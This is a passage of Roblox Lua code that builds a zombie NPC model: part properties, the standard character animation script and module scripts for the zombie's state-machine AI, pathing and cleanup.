Part256.Position = Vector3.new(162.5, 0.999954343, -75.5)
Part256.Rotation = Vector3.new(0, -90, 0)
Part256.Color = Color3.new(0.0509804, 0.411765, 0.67451)
Part256.Size = Vector3.new(1, 2, 1)
Part256.BottomSurface = Enum.SurfaceType.Smooth
Part256.BrickColor = BrickColor.new("Bright blue")
Part256.CanCollide = false
Part256.Material = Enum.Material.WoodPlanks
Part256.TopSurface = Enum.SurfaceType.Smooth
Part256.brickColor = BrickColor.new("Bright blue")
Part256.FormFactor = Enum.FormFactor.Symmetric
Part256.formFactor = Enum.FormFactor.Symmetric
Part257.Name = "Right Leg"
Part257.Parent = Model246
Part257.CFrame = CFrame.new(162.5, 0.999954343, -74.5, 0, 0, -1, 2.11850898e-33, 0.999999881, 0, 1, -2.11850898e-33, 0)
Part257.Orientation = Vector3.new(0, -90, 0)
Part257.Position = Vector3.new(162.5, 0.999954343, -74.5)
Part257.Rotation = Vector3.new(0, -90, 0)
Part257.Color = Color3.new(0.0509804, 0.411765, 0.67451)
Part257.Size = Vector3.new(1, 2, 1)
Part257.BottomSurface = Enum.SurfaceType.Smooth
Part257.BrickColor = BrickColor.new("Bright blue")
Part257.CanCollide = false
Part257.Material = Enum.Material.WoodPlanks
Part257.TopSurface = Enum.SurfaceType.Smooth
Part257.brickColor = BrickColor.new("Bright blue")
Part257.FormFactor = Enum.FormFactor.Symmetric
Part257.formFactor = Enum.FormFactor.Symmetric
Part258.Name = "Left Arm"
Part258.Parent = Model246
Part258.CFrame = CFrame.new(162.5, 2.99995422, -76.5, 0, 0, -1, 2.11850898e-33, 0.999999881, 0, 1, -2.11850898e-33, 0)
Part258.Orientation = Vector3.new(0, -90, 0)
Part258.Position = Vector3.new(162.5, 2.99995422, -76.5)
Part258.Rotation = Vector3.new(0, -90, 0)
Part258.Color = Color3.new(0.992157, 0.917647, 0.552941)
Part258.Size = Vector3.new(1, 2, 1)
Part258.BottomSurface = Enum.SurfaceType.Smooth
Part258.BrickColor = BrickColor.new("Cool yellow")
Part258.CanCollide = false
Part258.Material = Enum.Material.WoodPlanks
Part258.TopSurface = Enum.SurfaceType.Smooth
Part258.brickColor = BrickColor.new("Cool yellow")
Part258.FormFactor = Enum.FormFactor.Symmetric
Part258.formFactor = Enum.FormFactor.Symmetric
Part259.Name = "Right Arm"
Part259.Parent = Model246
Part259.CFrame = CFrame.new(162.5, 2.99995422, -73.5, 0, 0, -1, 2.11850898e-33, 0.999999881, 0, 1, -2.11850898e-33, 0)
Part259.Orientation = Vector3.new(0, -90, 0)
Part259.Position = Vector3.new(162.5, 2.99995422, -73.5)
Part259.Rotation = Vector3.new(0, -90, 0)
Part259.Color = Color3.new(0.992157, 0.917647, 0.552941)
Part259.Size = Vector3.new(1, 2, 1)
Part259.BottomSurface = Enum.SurfaceType.Smooth
Part259.BrickColor = BrickColor.new("Cool yellow")
Part259.CanCollide = false
Part259.Material = Enum.Material.WoodPlanks
Part259.TopSurface = Enum.SurfaceType.Smooth
Part259.brickColor = BrickColor.new("Cool yellow")
Part259.FormFactor = Enum.FormFactor.Symmetric
Part259.formFactor = Enum.FormFactor.Symmetric
Part260.Name = "Head"
Part260.Parent = Model246
Part260.CFrame = CFrame.new(162.5, 4.49995422, -75, 0, 0, -1, 2.11850898e-33, 1, 0, 1, -2.11850916e-33, 0)
Part260.Orientation = Vector3.new(0, -90, 0)
Part260.Position = Vector3.new(162.5, 4.49995422, -75)
Part260.Rotation = Vector3.new(0, -90, 0)
Part260.Color = Color3.new(0.992157, 0.917647, 0.552941)
Part260.Size = Vector3.new(2, 1, 1)
Part260.BottomSurface = Enum.SurfaceType.Smooth
Part260.BrickColor = BrickColor.new("Cool yellow")
Part260.Material = Enum.Material.WoodPlanks
Part260.TopSurface = Enum.SurfaceType.Smooth
Part260.brickColor = BrickColor.new("Cool yellow")
Part260.FormFactor = Enum.FormFactor.Symmetric
Part260.formFactor = Enum.FormFactor.Symmetric
Decal261.Name = "Face"
Decal261.Parent = Part260
Decal261.Texture = "http://www.roblox.com/asset/?id=7074882"
SpecialMesh262.Parent = Part260
SpecialMesh262.Scale = Vector3.new(1.25, 1.25, 1.25)
Humanoid263.Parent = Model246
Humanoid263.LeftLeg = Part256
Humanoid263.RightLeg = Part257
Humanoid263.Torso = Part247
Humanoid263.WalkSpeed = 10
Script264.Name = "Animate"
Script264.Parent = Model246
table.insert(cors,sandbox(Script264,function()
function waitForChild(parent, childName)
local child = parent:findFirstChild(childName)
if child then return child end
while true do
child = parent.ChildAdded:wait()
if child.Name==childName then return child end
end
end
local Figure = script.Parent
local Torso = waitForChild(Figure, "Torso")
local RightShoulder = waitForChild(Torso, "Right Shoulder")
local LeftShoulder = waitForChild(Torso, "Left Shoulder")
local RightHip = waitForChild(Torso, "Right Hip")
local LeftHip = waitForChild(Torso, "Left Hip")
local Neck = waitForChild(Torso, "Neck")
local Humanoid = waitForChild(Figure, "Humanoid")
local pose = "Standing"
local currentAnim = ""
local currentAnimTrack = nil
local currentAnimKeyframeHandler = nil
local currentAnimSpeed = 1.0
local animTable = {}
local animNames = {
idle = {
{ id = "http://www.roblox.com/asset/?id=125750544", weight = 9 },
{ id = "http://www.roblox.com/asset/?id=125750618", weight = 1 }
},
walk = {
{ id = "http://www.roblox.com/asset/?id=125749145", weight = 10 }
},
run = {
{ id = "run.xml", weight = 10 }
},
jump = {
{ id = "http://www.roblox.com/asset/?id=125750702", weight = 10 }
},
fall = {
{ id = "http://www.roblox.com/asset/?id=125750759", weight = 10 }
},
climb = {
{ id = "http://www.roblox.com/asset/?id=125750800", weight = 10 }
},
toolnone = {
{ id = "http://www.roblox.com/asset/?id=125750867", weight = 10 }
},
toolslash = {
{ id = "http://www.roblox.com/asset/?id=129967390", weight = 10 }
-- { id = "slash.xml", weight = 10 }
},
toollunge = {
{ id = "http://www.roblox.com/asset/?id=129967478", weight = 10 }
},
wave = {
{ id = "http://www.roblox.com/asset/?id=128777973", weight = 10 }
},
point = {
{ id = "http://www.roblox.com/asset/?id=128853357", weight = 10 }
},
dance = {
{ id = "http://www.roblox.com/asset/?id=130018893", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=132546839", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=132546884", weight = 10 }
},
dance2 = {
{ id = "http://www.roblox.com/asset/?id=160934142", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=160934298", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=160934376", weight = 10 }
},
dance3 = {
{ id = "http://www.roblox.com/asset/?id=160934458", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=160934530", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=160934593", weight = 10 }
},
laugh = {
{ id = "http://www.roblox.com/asset/?id=129423131", weight = 10 }
},
cheer = {
{ id = "http://www.roblox.com/asset/?id=129423030", weight = 10 }
},
}
-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false}
math.randomseed(tick())
function configureAnimationSet(name, fileList)
if (animTable[name] ~= nil) then
for _, connection in pairs(animTable[name].connections) do
connection:disconnect()
end
end
animTable[name] = {}
animTable[name].count = 0
animTable[name].totalWeight = 0
animTable[name].connections = {}
-- check for config values
local config = script:FindFirstChild(name)
if (config ~= nil) then
-- print("Loading anims " .. name)
table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))
table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))
local idx = 1
for _, childPart in pairs(config:GetChildren()) do
if (childPart:IsA("Animation")) then
table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))
animTable[name][idx] = {}
animTable[name][idx].anim = childPart
local weightObject = childPart:FindFirstChild("Weight")
if (weightObject == nil) then
animTable[name][idx].weight = 1
else
animTable[name][idx].weight = weightObject.Value
end
animTable[name].count = animTable[name].count + 1
animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
-- print(name .. " [" .. idx .. "] " .. animTable[name][idx].anim.AnimationId .. " (" .. animTable[name][idx].weight .. ")")
idx = idx + 1
end
end
end
-- fallback to defaults
if (animTable[name].count <= 0) then
for idx, anim in pairs(fileList) do
animTable[name][idx] = {}
animTable[name][idx].anim = Instance.new("Animation")
animTable[name][idx].anim.Name = name
animTable[name][idx].anim.AnimationId = anim.id
animTable[name][idx].weight = anim.weight
animTable[name].count = animTable[name].count + 1
animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
-- print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")")
end
end
end
-- Setup animation objects
function scriptChildModified(child)
local fileList = animNames[child.Name]
if (fileList ~= nil) then
configureAnimationSet(child.Name, fileList)
end
end
script.ChildAdded:connect(scriptChildModified)
script.ChildRemoved:connect(scriptChildModified)
for name, fileList in pairs(animNames) do
configureAnimationSet(name, fileList)
end
-- ANIMATION
-- declarations
local toolAnim = "None"
local toolAnimTime = 0
local jumpAnimTime = 0
local jumpAnimDuration = 0.3
local toolTransitionTime = 0.1
local fallTransitionTime = 0.3
local jumpMaxLimbVelocity = 0.75
-- functions
function stopAllAnimations()
local oldAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
oldAnim = "idle"
end
currentAnim = ""
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop()
currentAnimTrack:Destroy()
currentAnimTrack = nil
end
return oldAnim
end
function setAnimationSpeed(speed)
if speed ~= currentAnimSpeed then
currentAnimSpeed = speed
currentAnimTrack:AdjustSpeed(currentAnimSpeed)
end
end
function keyFrameReachedFunc(frameName)
if (frameName == "End") then
-- print("Keyframe : ".. frameName)
local repeatAnim = stopAllAnimations()
local animSpeed = currentAnimSpeed
playAnimation(repeatAnim, 0.0, Humanoid)
setAnimationSpeed(animSpeed)
end
end
-- Preload animations
function playAnimation(animName, transitionTime, humanoid)
local idleFromEmote = (animName == "idle" and emoteNames[currentAnim] ~= nil)
if (animName ~= currentAnim and not idleFromEmote) then
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop(transitionTime)
currentAnimTrack:Destroy()
end
currentAnimSpeed = 1.0
local roll = math.random(1, animTable[animName].totalWeight)
local origRoll = roll
local idx = 1
while (roll > animTable[animName][idx].weight) do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end
-- print(animName .. " " .. idx .. " [" .. origRoll .. "]")
local anim = animTable[animName][idx].anim
-- load it to the humanoid; get AnimationTrack
currentAnimTrack = humanoid:LoadAnimation(anim)
-- play the animation
currentAnimTrack:Play(transitionTime)
currentAnim = animName
-- set up keyframe name triggers
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
end
end
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
local toolAnimName = ""
local toolAnimTrack = nil
local currentToolAnimKeyframeHandler = nil
function toolKeyFrameReachedFunc(frameName)
if (frameName == "End") then
-- print("Keyframe : ".. frameName)
local repeatAnim = stopToolAnimations()
playToolAnimation(repeatAnim, 0.0, Humanoid)
end
end
function playToolAnimation(animName, transitionTime, humanoid)
if (animName ~= toolAnimName) then
if (toolAnimTrack ~= nil) then
toolAnimTrack:Stop()
toolAnimTrack:Destroy()
transitionTime = 0
end
local roll = math.random(1, animTable[animName].totalWeight)
local origRoll = roll
local idx = 1
while (roll > animTable[animName][idx].weight) do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end
-- print(animName .. " * " .. idx .. " [" .. origRoll .. "]")
local anim = animTable[animName][idx].anim
-- load it to the humanoid; get AnimationTrack
toolAnimTrack = humanoid:LoadAnimation(anim)
-- play the animation
toolAnimTrack:Play(transitionTime)
toolAnimName = animName
currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
end
end
function stopToolAnimations()
local oldAnim = toolAnimName
if (currentToolAnimKeyframeHandler ~= nil) then
currentToolAnimKeyframeHandler:disconnect()
end
toolAnimName = ""
if (toolAnimTrack ~= nil) then
toolAnimTrack:Stop()
toolAnimTrack:Destroy()
toolAnimTrack = nil
end
return oldAnim
end
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
function onRunning(speed)
if speed>0.01 then
playAnimation("walk", 0.1, Humanoid)
pose = "Running"
else
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
end
end
function onDied()
pose = "Dead"
end
function onJumping()
playAnimation("jump", 0.1, Humanoid)
jumpAnimTime = jumpAnimDuration
pose = "Jumping"
end
function onClimbing(speed)
playAnimation("climb", 0.1, Humanoid)
setAnimationSpeed(speed / 12.0)
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
if (jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
end
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
pose = "Seated"
end
function onPlatformStanding()
pose = "PlatformStanding"
end
function onSwimming(speed)
if speed>0 then
pose = "Running"
else
pose = "Standing"
end
end
function getTool()
for _, kid in ipairs(Figure:GetChildren()) do
if kid.className == "Tool" then return kid end
end
return nil
end
function getToolAnim(tool)
for _, c in ipairs(tool:GetChildren()) do
if c.Name == "toolanim" and c.className == "StringValue" then
return c
end
end
return nil
end
function animateTool()
if (toolAnim == "None") then
playToolAnimation("toolnone", toolTransitionTime, Humanoid)
return
end
if (toolAnim == "Slash") then
playToolAnimation("toolslash", 0, Humanoid)
return
end
if (toolAnim == "Lunge") then
playToolAnimation("toollunge", 0, Humanoid)
return
end
end
function moveSit()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder:SetDesiredAngle(3.14 /2)
LeftShoulder:SetDesiredAngle(-3.14 /2)
RightHip:SetDesiredAngle(3.14 /2)
LeftHip:SetDesiredAngle(-3.14 /2)
end
local lastTick = 0
function move(time)
local amplitude = 1
local frequency = 1
local deltaTime = time - lastTick
lastTick = time
local climbFudge = 0
local setAngles = false
if (jumpAnimTime > 0) then
jumpAnimTime = jumpAnimTime - deltaTime
end
if (pose == "FreeFall" and jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
elseif (pose == "Seated") then
stopAllAnimations()
moveSit()
return
elseif (pose == "Running") then
playAnimation("walk", 0.1, Humanoid)
elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
-- print("Wha " .. pose)
amplitude = 0.1
frequency = 1
setAngles = true
end
if (setAngles) then
desiredAngle = amplitude * math.sin(time * frequency)
RightShoulder:SetDesiredAngle(desiredAngle + climbFudge)
LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)
RightHip:SetDesiredAngle(-desiredAngle)
LeftHip:SetDesiredAngle(-desiredAngle)
end
-- Tool Animation handling
local tool = getTool()
if tool then
animStringValueObject = getToolAnim(tool)
if animStringValueObject then
toolAnim = animStringValueObject.Value
-- message recieved, delete StringValue
animStringValueObject.Parent = nil
toolAnimTime = time + .3
end
if time > toolAnimTime then
toolAnimTime = 0
toolAnim = "None"
end
animateTool()
else
stopToolAnimations()
toolAnim = "None"
toolAnimTime = 0
end
end
-- connect events
Humanoid.Died:connect(onDied)
Humanoid.Running:connect(onRunning)
Humanoid.Jumping:connect(onJumping)
Humanoid.Climbing:connect(onClimbing)
Humanoid.GettingUp:connect(onGettingUp)
Humanoid.FreeFalling:connect(onFreeFall)
Humanoid.FallingDown:connect(onFallingDown)
Humanoid.Seated:connect(onSeated)
Humanoid.PlatformStanding:connect(onPlatformStanding)
Humanoid.Swimming:connect(onSwimming)
-- main program
local runService = game:service("RunService");
-- initialize to idle
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
while Figure.Parent~=nil do
local _, time = wait(0.1)
move(time)
end
end))
StringValue265.Name = "climb"
StringValue265.Parent = Script264
Animation266.Name = "ClimbAnim"
Animation266.Parent = StringValue265
Animation266.AnimationId = "http://www.roblox.com/asset/?id=125750800"
StringValue267.Name = "fall"
StringValue267.Parent = Script264
Animation268.Name = "FallAnim"
Animation268.Parent = StringValue267
Animation268.AnimationId = "http://www.roblox.com/asset/?id=125750759"
StringValue269.Name = "idle"
StringValue269.Parent = Script264
Animation270.Name = "Animation1"
Animation270.Parent = StringValue269
Animation270.AnimationId = "http://www.roblox.com/asset/?id=125750544"
NumberValue271.Name = "Weight"
NumberValue271.Parent = Animation270
NumberValue271.Value = 9
Animation272.Name = "Animation2"
Animation272.Parent = StringValue269
Animation272.AnimationId = "http://www.roblox.com/asset/?id=125750618"
NumberValue273.Name = "Weight"
NumberValue273.Parent = Animation272
NumberValue273.Value = 1
StringValue274.Name = "jump"
StringValue274.Parent = Script264
Animation275.Name = "JumpAnim"
Animation275.Parent = StringValue274
Animation275.AnimationId = "http://www.roblox.com/asset/?id=125750702"
StringValue276.Name = "run"
StringValue276.Parent = Script264
Animation277.Name = "RunAnim"
Animation277.Parent = StringValue276
Animation277.AnimationId = "http://www.roblox.com/asset/?id=125749145"
StringValue278.Name = "toolnone"
StringValue278.Parent = Script264
Animation279.Name = "ToolNoneAnim"
Animation279.Parent = StringValue278
Animation279.AnimationId = "http://www.roblox.com/asset/?id=125750867"
StringValue280.Name = "walk"
StringValue280.Parent = Script264
Animation281.Name = "WalkAnim"
Animation281.Parent = StringValue280
Animation281.AnimationId = "http://www.roblox.com/asset/?id=125749145"
Script282.Parent = Model246
table.insert(cors,sandbox(Script282,function()
local zombie = script.Parent
for _, script in pairs(zombie.ModuleScripts:GetChildren()) do
if not game.ServerStorage:FindFirstChild(script.Name) then
script:Clone().Parent = game.ServerStorage
end
end
local AI = require(game.ServerStorage.ROBLOX_ZombieAI).new(zombie)
local DestroyService = require(game.ServerStorage.ROBLOX_DestroyService)
local function clearParts(parent)
for _, part in pairs(parent:GetChildren()) do
clearParts(part)
end
local delay
if parent:IsA("Part") then
delay = math.random(5,10)
else
delay = 11
end
DestroyService:AddItem(parent, delay)
end
zombie.Humanoid.Died:connect(function()
AI.Stop()
math.randomseed(tick())
clearParts(zombie)
script.Disabled = true
end)
local lastMoan = os.time()
math.randomseed(os.time())
while true do
local animationTrack = zombie.Humanoid:LoadAnimation(zombie.Animations.Arms)
animationTrack:Play()
-- local now = os.time()
-- if now - lastMoan > 5 then
-- if math.random() > .3 then
-- zombie.Moan:Play()
---- print("playing moan")
-- lastMoan = now
-- end
-- end
wait(2)
end
end))
BillboardGui283.Parent = Model246
BillboardGui283.Size = UDim2.new(0, 100, 0, 30)
BillboardGui283.StudsOffset = Vector3.new(0, 5, 0)
TextLabel284.Parent = BillboardGui283
TextLabel284.Visible = false
TextLabel284.Size = UDim2.new(1, 0, 1, 0)
TextLabel284.BackgroundColor = BrickColor.new("Institutional white")
TextLabel284.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel284.Font = Enum.Font.SourceSansBold
TextLabel284.FontSize = Enum.FontSize.Size24
TextLabel284.Text = "Idle"
TextLabel284.TextSize = 24
Configuration285.Name = "ModuleScripts"
Configuration285.Parent = Model246
ModuleScript286.Name = "ROBLOX_AIUtilities"
ModuleScript286.Parent = Configuration285
table.insert(cors,sandbox(ModuleScript286,function()
local utility = {}
function utility:WideRayCast(start, target, offset, ignoreList)
local parts = {}
local ray = Ray.new(start, target - start)
local part, point = game.Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList)
if part then table.insert(parts, part) end
local offsetVector = offset * (target - start):Cross(Vector3.FromNormalId(Enum.NormalId.Top)).unit
local ray = Ray.new(start + offsetVector, target - start + offsetVector)
local part, point = game.Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList)
if part then table.insert(parts, part) end
local ray = Ray.new(start - offsetVector, target - start - offsetVector)
local part, point = game.Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList)
if part then table.insert(parts, part) end
return parts
end
function utility:FindNearestPathPoint(path, point, start, target, ignoreList)
local occludePoint = path:CheckOcclusionAsync(point)
if occludePoint > 0 then
utility:WideRayCast(start)
end
end
local maxForce = 15
function utility:GetRepulsionVector(unitPosition, otherUnitsPositions)
local repulsionVector = Vector3.new(0,0,0)
local count = 0
for _, other in pairs(otherUnitsPositions) do
local fromOther = unitPosition - other
--fromOther = fromOther.unit * ((-maxForce / 5) * math.pow(fromOther.magnitude,2) + maxForce)
fromOther = fromOther.unit * 1000 / math.pow((fromOther.magnitude + 1), 2)
repulsionVector = repulsionVector + fromOther
end
return repulsionVector * maxForce
end
function utility:GetIdleState(StateMachine)
local IdleState = StateMachine.NewState()
IdleState.Name = "Idle"
IdleState.Action = function() end
IdleState.Init = function() end
return IdleState
end
function utility:GetClosestVisibleTarget(npcModel, characters, ignoreList, fieldOfView)
local closestTarget = nil
local closestDistance = math.huge
for _, character in pairs(characters) do
local toTarget = character.HumanoidRootPart.Position - npcModel.HumanoidRootPart.Position
local toTargetWedge = toTarget * Vector3.new(1,0,1)
local angle = math.acos(toTargetWedge:Dot(npcModel.HumanoidRootPart.CFrame.lookVector)/toTargetWedge.magnitude)
if math.deg(angle) < fieldOfView then
local targetRay = Ray.new(npcModel.HumanoidRootPart.Position, toTarget)
local part, position = game.Workspace:FindPartOnRayWithIgnoreList(targetRay, ignoreList)
if part and part.Parent == character then
if toTarget.magnitude < closestDistance then
closestTarget = character
closestDistance = toTarget.magnitude
end
end
end
end
return closestTarget
end
local function isSpaceEmpty(position)
local region = Region3.new(position - Vector3.new(2,2,2), position + Vector3.new(2,2,2))
return game.Workspace:IsRegion3Empty(region)
end
function utility:FindCloseEmptySpace(model)
local targetPos = Vector3.new(0,0,0)
local count = 0
math.randomseed(os.time())
repeat
local xoff = math.random(5,10)
if math.random() > .5 then
xoff = xoff * -1
end
local zoff = math.random(5, 10)
if math.random() > .5 then
zoff = zoff * -1
end
targetPos = Vector3.new(model.HumanoidRootPart.Position.X + xoff,model.HumanoidRootPart.Position.Y,model.HumanoidRootPart.Position.Z + zoff)
if isSpaceEmpty(targetPos) then
return targetPos
else
targetPos = targetPos + Vector3.new(0,4,0)
end
if isSpaceEmpty(targetPos) then
return targetPos
end
count = count + 1
until count > 10
return nil
end
return utility
end))
ModuleScript287.Name = "ROBLOX_DestroyService"
ModuleScript287.Parent = Configuration285
table.insert(cors,sandbox(ModuleScript287,function()
local destroyService = {}
local destroyQueue = {}
function destroyService:AddItem(theobject, delay)
local now = os.time()
local destroyObject = {object = theobject, destroyTime = delay + now}
for i, storedObject in pairs(destroyQueue) do
if destroyQueue[i].destroyTime > destroyObject.destroyTime then
table.insert(destroyQueue, i, destroyObject)
return true
end
end
table.insert(destroyQueue, destroyObject)
return true
end
local updateThread = coroutine.create(function()
while true do
local now = os.time()
for _, storedObject in pairs(destroyQueue) do
if now >= storedObject.destroyTime then
table.remove(destroyQueue, 1)
if storedObject.object then
storedObject.object:Destroy()
end
elseif now >= storedObject.destroyTime - 1 then
if storedObject.object and storedObject.object:IsA("Part") then
local trans = storedObject.object.Transparency + 1/30
storedObject.object.Transparency = trans
end
else
break
end
end
wait()
end
end)
coroutine.resume(updateThread)
return destroyService
end))
ModuleScript288.Name = "ROBLOX_HumanoidList"
ModuleScript288.Parent = Configuration285
table.insert(cors,sandbox(ModuleScript288,function()
local humanoidList = {}
local storage = {}
function humanoidList:GetCurrent()
return storage
end
local function findHumanoids(object, list)
if object then
if object:IsA("Humanoid") then
table.insert(list, object)
end
for _, child in pairs(object:GetChildren()) do
local childList = findHumanoids(child, list)
end
end
end
local updateThread = coroutine.create(function()
while true do
storage = {}
findHumanoids(game.Workspace, storage)
wait(3)
end
end)
coroutine.resume(updateThread)
return humanoidList
end))
ModuleScript289.Name = "ROBLOX_StateMachine"
ModuleScript289.Parent = Configuration285
table.insert(cors,sandbox(ModuleScript289,function()
local machine = {}
machine.new = function()
local StateMachine = {}
StateMachine.WaitTime = .2
StateMachine.CurrentState = nil
StateMachine.SwitchState = function(newState)
if StateMachine.CurrentState then
StateMachine.CurrentState.Stop()
end
StateMachine.CurrentState = newState
if newState then
newState.Start()
end
end
StateMachine.NewState = function()
local state = {}
state.Name = ""
state.Conditions = {}
state.isRunning = false
state.Action = function() end
state.Run = function()
state.isRunning = true
while state.isRunning do
--check conditions
--print("checking conditions")
for _, condition in pairs(state.Conditions) do
--print("Checking " .. condition.Name)
if condition.Evaluate() then
--print(condition.Name .. " is true. Switching states")
StateMachine.SwitchState(condition.TransitionState)
return
end
end
--if no conditions satisfied, perform action
state.Action()
wait(StateMachine.WaitTime)
end
end
state.Init = function()
end
state.Start = function()
--print("Starting " .. state.Name)
state.Init()
local thread = coroutine.create(state.Run)
coroutine.resume(thread)
end
state.Stop = function()
--print("Stopping " .. state.Name)
state.isRunning = false
end
return state
end
StateMachine.NewCondition = function()
local condition = {}
condition.Name = ""
condition.Evaluate = function() print("replace me") return false end
condition.TransitionState = {}
return condition
end
return StateMachine
end
return machine
end))
ModuleScript290.Name = "ROBLOX_ZombieAI"
ModuleScript290.Parent = Configuration285
table.insert(cors,sandbox(ModuleScript290,function()
--local PathLib = require(game.ServerStorage.PathfindingLibrary).new()
local HumanoidList = require(game.ServerStorage.ROBLOX_HumanoidList)
local AIUtilities = require(game.ServerStorage.ROBLOX_AIUtilities)
local ZombieAI = {}
function updateDisplay(display, state)
local thread = coroutine.create(function()
while true do
wait()
if state then
display.Text = state.Name
end
end
end)
coroutine.resume(thread)
end
ZombieAI.new = function(model)
local zombie = {}
-- CONFIGURATION VARIABLES
-- local AttackRange, FieldOfView, AggroRange, ChanceOfBoredom, BoredomDuration,
-- Damage, DamageCooldown
local configTable = model.Configurations
local configs = {}
local function loadConfig(configName, defaultValue)
if configTable:FindFirstChild(configName) then
configs[configName] = configTable:FindFirstChild(configName).Value
else
configs[configName] = defaultValue
end
end
loadConfig("AttackRange", 3)
loadConfig("FieldOfView", 180)
loadConfig("AggroRange", 200)
loadConfig("ChanceOfBoredom", .5)
loadConfig("BoredomDuration", 10)
loadConfig("Damage", 10)
loadConfig("DamageCooldown", 1)
local StateMachine = require(game.ServerStorage.ROBLOX_StateMachine).new()
local PathLib = require(game.ServerStorage.ROBLOX_PathfindingLibrary).new()
local ZombieTarget = nil
local ZombieTargetLastLocation = nil
local lastBored = os.time()
-- STATE DEFINITIONS
-- IdleState: NPC stays still. Refreshes bored timer when started to
-- allow for random state change
local IdleState = StateMachine.NewState()
IdleState.Name = "Idle"
IdleState.Action = function()
end
IdleState.Init = function()
lastBored = os.time()
end
-- SearchState: NPC wanders randomly increasing chance of spotting
-- enemy. Refreshed bored timer when started to allow for random state
-- change
local SearchState = StateMachine.NewState()
SearchState.Name = "Search"
local lastmoved = os.time()
local searchTarget = nil
SearchState.Action = function()
-- move to random spot nearby
if model then
local now = os.time()
if now - lastmoved > 2 then
lastmoved = now
local xoff = math.random(5, 10)
if math.random() > .5 then
xoff = xoff * -1
end
local zoff = math.random(5, 10)
if math.random() > .5 then
zoff = zoff * -1
end
local testtarg = AIUtilities:FindCloseEmptySpace(model)
--if testtarg then print(testtarg) else print("could not find") end
searchTarget = Vector3.new(model.HumanoidRootPart.Position.X + xoff,model.HumanoidRootPart.Position.Y,model.HumanoidRootPart.Position.Z + zoff)
--local target = Vector3.new(model.HumanoidRootPart.Position.X + xoff,model.HumanoidRootPart.Position.Y,model.HumanoidRootPart.Position.Z + zoff)
--model.Humanoid:MoveTo(target)
searchTarget = testtarg
end
if searchTarget then
PathLib:MoveToTarget(model, searchTarget)
end
end
end
SearchState.Init = function()
lastBored = os.time()
end
-- PursueState: Enemy has been spotted, need to give chase.
local PursueState = StateMachine.NewState()
PursueState.Name = "Pursue"
PursueState.Action = function()
-- Double check we still have target
if ZombieTarget then
-- Get distance to target
local distance = (model.HumanoidRootPart.Position - ZombieTarget.HumanoidRootPart.Position).magnitude
-- If we're far from target use pathfinding to move. Otherwise just MoveTo
if distance > configs["AttackRange"] + 5 then
PathLib:MoveToTarget(model, ZombieTarget.HumanoidRootPart.Position)
else
model.Humanoid:MoveTo(ZombieTarget.HumanoidRootPart.Position)
-- if ZombieTarget.HumanoidRootPart.Position.Y > model.HumanoidRootPart.Position.Y + 2 then
-- model.Humanoid.Jump = true
-- end
end
end
end
PursueState.Init = function()
end
-- AttackState: Keep moving towards target and play attack animation.
local AttackState = StateMachine.NewState()
AttackState.Name = "Attack"
local lastAttack = os.time()
local attackTrack = model.Humanoid:LoadAnimation(model.Animations.Attack)
AttackState.Action = function()
model.Humanoid:MoveTo(ZombieTarget.HumanoidRootPart.Position)
local now = os.time()
if now - lastAttack > 3 then
lastAttack = now
attackTrack:Play()
end
end
-- HuntState: Can't see target but NPC will move to target's last known location.
-- Will eventually get bored and switch state.
local HuntState = StateMachine.NewState()
HuntState.Name = "Hunt"
HuntState.Action = function()
if ZombieTargetLastLocation then
PathLib:MoveToTarget(model, ZombieTargetLastLocation)
end
end
HuntState.Init = function()
lastBored = os.time() + configs["BoredomDuration"] / 2
end
-- CONDITION DEFINITIONS
-- CanSeeTarget: Determines if a target is visible. Returns true if target is visible and
-- sets current target. A target is valid if it is nearby, visible, has a Torso and WalkSpeed
-- greater than 0 (this is to ignore inanimate objects that happen to use humanoids)
local CanSeeTarget = StateMachine.NewCondition()
CanSeeTarget.Name = "CanSeeTarget"
CanSeeTarget.Evaluate = function()
if model then
-- Get list of all nearby Zombies and non-Zombie humanoids
-- Zombie list is used to ignore zombies during later raycast
local humanoids = HumanoidList:GetCurrent()
local zombies = {}
local characters = {}
